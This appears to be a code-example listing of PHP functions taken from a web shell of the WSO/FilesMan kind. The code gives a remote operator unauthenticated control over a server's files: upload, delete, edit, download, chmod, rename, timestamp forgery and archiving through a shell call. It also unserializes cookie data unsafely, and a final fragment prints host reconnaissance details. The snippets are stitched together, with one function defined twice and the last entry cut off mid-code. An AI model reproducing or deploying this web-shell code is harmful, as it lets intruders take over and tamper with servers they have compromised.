Пример #1
0
function actionFilesMan()
{
    if (!empty($_COOKIE['f'])) {
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
    }
    if (!empty($_POST['p1'])) {
        switch ($_POST['p1']) {
            case 'uploadFile':
                if (is_array($_FILES['f']['tmp_name'])) {
                    foreach ($_FILES['f']['tmp_name'] as $i => $tmpName) {
                        if (!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) {
                            echo "Can't upload file!";
                        }
                    }
                }
                break;
            case 'mkdir':
                if (!@mkdir($_POST['p2'])) {
                    echo "Can't create new dir";
                }
                break;
            case 'delete':
                function deleteDir($path)
                {
                    $path = substr($path, -1) == '/' ? $path : $path . '/';
                    $dh = opendir($path);
                    while (($▟ = readdir($dh)) !== false) {
                        $▟ = $path . $▟;
                        if (basename($▟) == ".." || basename($▟) == ".") {
                            continue;
                        }
                        $type = filetype($▟);
                        if ($type == "dir") {
                            deleteDir($▟);
                        } else {
                            @unlink($▟);
                        }
                    }
                    closedir($dh);
                    @rmdir($path);
                }
                if (is_array(@$_POST['f'])) {
                    foreach ($_POST['f'] as $f) {
                        if ($f == '..') {
                            continue;
                        }
                        $f = urldecode($f);
                        if (is_dir($f)) {
                            deleteDir($f);
                        } else {
                            @unlink($f);
                        }
                    }
                }
                break;
            case 'paste':
                if ($_COOKIE['act'] == 'copy') {
                    function copy_paste($c, $s, $d)
                    {
                        if (is_dir($c . $s)) {
                            mkdir($d . $s);
                            $h = @opendir($c . $s);
                            while (($f = @readdir($h)) !== false) {
                                if ($f != "." and $f != "..") {
                                    copy_paste($c . $s . '/', $f, $d . $s . '/');
                                }
                            }
                        } elseif (is_file($c . $s)) {
                            @copy($c . $s, $d . $s);
                        }
                    }
                    foreach ($_COOKIE['f'] as $f) {
                        copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
                    }
                } elseif ($_COOKIE['act'] == 'move') {
                    function move_paste($c, $s, $d)
                    {
                        if (is_dir($c . $s)) {
                            mkdir($d . $s);
                            $h = @opendir($c . $s);
                            while (($f = @readdir($h)) !== false) {
                                if ($f != "." and $f != "..") {
                                    copy_paste($c . $s . '/', $f, $d . $s . '/');
                                }
                            }
                        } elseif (@is_file($c . $s)) {
                            @copy($c . $s, $d . $s);
                        }
                    }
                    foreach ($_COOKIE['f'] as $f) {
                        @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
                    }
                } elseif ($_COOKIE['act'] == 'zip') {
                    if (class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_COOKIE['c']);
                            foreach ($_COOKIE['f'] as $f) {
                                if ($f == '..') {
                                    continue;
                                }
                                if (@is_file($_COOKIE['c'] . $f)) {
                                    $zip->addFile($_COOKIE['c'] . $f, $f);
                                } elseif (@is_dir($_COOKIE['c'] . $f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator as $key => $value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
                } elseif ($_COOKIE['act'] == 'unzip') {
                    if (class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach ($_COOKIE['f'] as $f) {
                            if ($zip->open($_COOKIE['c'] . $f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
                } elseif ($_COOKIE['act'] == 'tar') {
                    chdir($_COOKIE['c']);
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                    ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                    chdir($GLOBALS['cwd']);
                }
                unset($_COOKIE['f']);
                setcookie('f', '', time() - 3600);
                break;
            default:
                if (!empty($_POST['p1'])) {
                    prototype('act', $_POST['p1']);
                    prototype('f', serialize(@$_POST['f']));
                    prototype('c', @$_POST['c']);
                }
                break;
        }
    }
    hardHeader();
    echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
    $dirContent = hardScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
    if ($dirContent === false) {
        echo 'Can\'t open this folder!';
        hardFooter();
        return;
    }
    global $sort;
    $sort = array('name', 1);
    if (!empty($_POST['p1'])) {
        if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['p1'], $match)) {
            $sort = array($match[1], (int) $match[2]);
        }
    }
    echo "<script>\n\tfunction sa() {\n\t\tfor(i=0;i<d.files.elements.length;i++)\n\t\t\tif(d.files.elements[i].type == 'checkbox')\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\n\t}\n</script>\n<table width='100%' class='main' cellspacing='0' cellpadding='2'>\n<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
    $dirs = $files = array();
    $n = count($dirContent);
    for ($i = 0; $i < $n; $i++) {
        $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
        $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
        $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
        if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) {
            $files[] = array_merge($tmp, array('type' => 'file'));
        } elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) {
            $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
        } elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && $dirContent[$i] != ".") {
            $dirs[] = array_merge($tmp, array('type' => 'dir'));
        }
    }
    $GLOBALS['sort'] = $sort;
    function cmp($a, $b)
    {
        if ($GLOBALS['sort'][0] != 'size') {
            return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
        } else {
            return ($a['size'] < $b['size'] ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
        }
    }
    usort($files, "cmp");
    usort($dirs, "cmp");
    $files = array_merge($dirs, $files);
    $l = 0;
    foreach ($files as $f) {
        echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . ($f['type'] == 'file' ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . ($f['type'] == 'file' ? viewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . ($f['type'] == 'file' ? ' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
        $l = $l ? 0 : 1;
    }
    echo "<tr id=fak><td colspan=7>\n\t<input type=hidden name=ne value=''>\n\t<input type=hidden name=a value='FilesMan'>\n\t<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\n\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\n\t<label><select name='p1'>";
    if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) {
        echo "<option value='paste'>↳ Paste</option>";
    }
    echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
    if (class_exists('ZipArchive')) {
        echo "<option value='zip'>+ zip</option><option value='unzip'>- zip</option>";
    }
    echo "<option value='tar'>+ tar.gz</option>";
    echo "</select></label>";
    if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && ($_COOKIE['act'] == 'zip' || $_COOKIE['act'] == 'tar')) {
        echo "&nbsp;file name: <input type=text name=p2 value='hard_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
    }
    echo "<input type='submit' value='submit'></td></tr></form></table></div>";
    hardFooter();
}
function actionFilesMan()
{
    printHeader();
    echo '<h1>File manager</h1><div class=content>';
    if (isset($_POST['p1'])) {
        switch ($_POST['p1']) {
            case 'uploadFile':
                if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) {
                    echo "Can't upload file!";
                }
                break;
                break;
            case 'mkdir':
                if (!@mkdir($_POST['p2'])) {
                    echo "Can't create new dir";
                }
                break;
            case 'delete':
                function deleteDir($path)
                {
                    $path = substr($path, -1) == '/' ? $path : $path . '/';
                    $dh = opendir($path);
                    while (($item = readdir($dh)) !== false) {
                        $item = $path . $item;
                        if (basename($item) == ".." || basename($item) == ".") {
                            continue;
                        }
                        $type = filetype($item);
                        if ($type == "dir") {
                            deleteDir($item);
                        } else {
                            @unlink($item);
                        }
                    }
                    closedir($dh);
                    rmdir($path);
                }
                if (is_array(@$_POST['f'])) {
                    foreach ($_POST['f'] as $f) {
                        $f = urldecode($f);
                        if (is_dir($f)) {
                            deleteDir($f);
                        } else {
                            @unlink($f);
                        }
                    }
                }
                break;
            case 'paste':
                if ($_SESSION['act'] == 'copy') {
                    function copy_paste($c, $s, $d)
                    {
                        if (is_dir($c . $s)) {
                            mkdir($d . $s);
                            $h = opendir($c . $s);
                            while (($f = readdir($h)) !== false) {
                                if ($f != "." and $f != "..") {
                                    copy_paste($c . $s . '/', $f, $d . $s . '/');
                                }
                            }
                        } elseif (is_file($c . $s)) {
                            @copy($c . $s, $d . $s);
                        }
                    }
                    foreach ($_SESSION['f'] as $f) {
                        copy_paste($_SESSION['cwd'], $f, $GLOBALS['cwd']);
                    }
                } elseif ($_SESSION['act'] == 'move') {
                    function move_paste($c, $s, $d)
                    {
                        if (is_dir($c . $s)) {
                            mkdir($d . $s);
                            $h = opendir($c . $s);
                            while (($f = readdir($h)) !== false) {
                                if ($f != "." and $f != "..") {
                                    copy_paste($c . $s . '/', $f, $d . $s . '/');
                                }
                            }
                        } elseif (is_file($c . $s)) {
                            @copy($c . $s, $d . $s);
                        }
                    }
                    foreach ($_SESSION['f'] as $f) {
                        @rename($_SESSION['cwd'] . $f, $GLOBALS['cwd'] . $f);
                    }
                }
                unset($_SESSION['f']);
                break;
            default:
                if (!empty($_POST['p1']) && ($_POST['p1'] == 'copy' || $_POST['p1'] == 'move')) {
                    $_SESSION['act'] = @$_POST['p1'];
                    $_SESSION['f'] = @$_POST['f'];
                    foreach ($_SESSION['f'] as $k => $f) {
                        $_SESSION['f'][$k] = urldecode($f);
                    }
                    $_SESSION['cwd'] = @$_POST['c'];
                }
                break;
        }
        echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
    }
    $dirContent = @scandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
    if ($dirContent === false) {
        echo 'Can\'t open this folder!';
        return;
    }
    global $sort;
    $sort = array('name', 1);
    if (!empty($_POST['p1'])) {
        if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['p1'], $match)) {
            $sort = array($match[1], (int) $match[2]);
        }
    }
    ?>
<script>
	function sa() {
		for(i=0;i<document.files.elements.length;i++)
			if(document.files.elements[i].type == 'checkbox')
				document.files.elements[i].checked = document.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post>
<?php 
    echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
    $dirs = $files = $links = array();
    $n = count($dirContent);
    for ($i = 0; $i < $n; $i++) {
        $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
        $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
        $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
        if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) {
            $files[] = array_merge($tmp, array('type' => 'file'));
        } elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) {
            $links[] = array_merge($tmp, array('type' => 'link'));
        } elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && $dirContent[$i] != ".") {
            $dirs[] = array_merge($tmp, array('type' => 'dir'));
        }
    }
    $GLOBALS['sort'] = $sort;
    function cmp($a, $b)
    {
        if ($GLOBALS['sort'][0] != 'size') {
            return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]]) * ($GLOBALS['sort'][1] ? 1 : -1);
        } else {
            return ($a['size'] < $b['size'] ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
        }
    }
    usort($files, "cmp");
    usort($dirs, "cmp");
    usort($links, "cmp");
    $files = array_merge($dirs, $links, $files);
    $l = 0;
    foreach ($files as $f) {
        echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . ($f['type'] == 'file' ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');"><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . ($f['type'] == 'file' ? viewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . ($f['type'] == 'file' ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
        $l = $l ? 0 : 1;
    }
    ?>
	<tr><td colspan=7>
	<input type=hidden name=a value='FilesMan'>
	<input type=hidden name=c value='<?php 
    echo htmlspecialchars($GLOBALS['cwd']);
    ?>
'>
	<input type=hidden name=charset value='<?php 
    echo isset($_POST['charset']) ? $_POST['charset'] : '';
    ?>
'>
	<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option><?php 
    if (!empty($_SESSION['act']) && @count($_SESSION['f'])) {
        ?>
<option value='paste'>Paste</option><?php 
    }
    ?>
</select>&nbsp;<input type="submit" value=">>"></td></tr>
	</form></table></div>
	<?php 
    printFooter();
}
Пример #3
0
function actionFilesTools() {
	if( isset($_POST['p1']) )
		$_POST['p1'] = urldecode($_POST['p1']);
	if( @$_POST['p2']!='download' && @$_POST['p2'] != 'mkfile' ) {
		echo '<h1>File tools</h1><div class=content>';
		if( !file_exists(@$_POST['p1']) ) {
			echo 'File not exists';
			return;
		}
		$uid = @posix_getpwuid(@fileowner($_POST['p1']));
		$gid = @posix_getgrgid(@fileowner($_POST['p1']));
		echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
		echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
		if( empty($_POST['p2']) )
			$_POST['p2'] = 'view';
		if( is_file($_POST['p1']) )
			$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
		else
			$m = array('Chmod', 'Rename', 'Touch');
		foreach($m as $v)
			echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
		echo '<br><br>';
	}
	switch($_POST['p2']) {
		case 'view':
			echo '<pre class=ml1>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</pre>';
			break;
		case 'highlight':
			if( is_readable($_POST['p1']) ) {
				echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
				$code = highlight_file($_POST['p1'],true);
				echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
			}
			break;
		case 'download':
			if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
				header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
				if (function_exists("mime_content_type")) {
					$type = @mime_content_type($_POST['p1']);
					header("Content-Type: ".$type);
				}
				$fp = @fopen($_POST['p1'], "r");
				if($fp) {
					while(!@feof($fp))
						echo @fread($fp, 1024);
					fclose($fp);
				}
			} elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
				
			}
			exit;
			break;
		case 'chmod':
			if( !empty($_POST['p3']) ) {
				$perms = 0;
				for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
					$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
				if(!@chmod($_POST['p1'], $perms))
					echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
				else
					die('<script>g(null,null,null,null,"")</script>');
			}
			echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
			break;
		case 'edit':
			if( !is_writable($_POST['p1'])) {
				echo 'File isn\'t writeable';
				break;
			}
			if( !empty($_POST['p3']) ) {
				@file_put_contents($_POST['p1'],$_POST['p3']);
				echo 'Saved!<br><script>document.mf.p3.value="";</script>';
			}
			echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</textarea><input type=submit value=">>"></form>';
			break;
		case 'hexdump':
			$c = @file_get_contents($_POST['p1']);
			$n = 0;
			$h = array('00000000<br>','','');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf('%02X',ord($c[$i])).' ';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= ' '; break;
					case 9:  $h[2] .= ' '; break;
					case 10: $h[2] .= ' '; break;
					case 13: $h[2] .= ' '; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
					$h[1] .= '<br>';
					$h[2] .= "\n";
				}
		 	}
			echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
			break;
		case 'rename':
			if( !empty($_POST['p3']) ) {
				if(!@rename($_POST['p1'], $_POST['p3']))
					echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
				else
					die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
			}
			echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
			break;
		case 'touch':
			if( !empty($_POST['p3']) ) {
				$time = strtotime($_POST['p3']);
				if($time) {
					if(@touch($_POST['p1'],$time,$time))
						die('<script>g(null,null,null,null,"")</script>');
					else {
						echo 'Fail!<script>document.mf.p3.value="";</script>';
					}
				} else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
			}
			echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
			break;
		case 'mkfile':
			if(!file_exists($_POST['p1'])) {
				$fp = @fopen($_POST['p1'], 'w');
				if($fp)
					die('<script>g(null,null,null,"edit")</script>');
			}
			echo 'Can\'t create!';
			break;
	}
	echo '</div>';
}
Пример #4
0
        $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
        for ($j = 0; $j <= $i; $j++) {
            $cwd_links .= $path[$j] . '/';
            $cwd_links .= "\")'>" . $path[$i] . "/</a>";
        }
    }
    ?>
								
								<?php 
    echo "Directory : " . $cwd . "  <a href=" . $GLOBALS['home_cwd'] . ">[ home ]</a>";
    ?>
&nbsp;&nbsp;&nbsp;<?php 
    echo $cwd_links . viewPermsColor($GLOBALS['cwd']);
    ?>
								<br>Filesystem Mounted: <?php 
    echo "<span>Free</span> " . viewSize($freeSpace) . " of " . viewSize($totalSpace) . "  (" . (int) ($freeSpace / $totalSpace * 100) . "%)";
    ?>
 
								<br>ifconfig : <?php 
    echo gethostbyname($_SERVER["HTTP_HOST"]);
    ?>
 <a href="http://whois.domaintools.com/<?php 
    echo gethostbyname($_SERVER["HTTP_HOST"]);
    ?>
">(Whois)</a>
								<br />Detected drives: <?php 
    echo $drives;
    ?>
<br />
								Disabled Functions : <?php 
    if ($disable_functions == "") {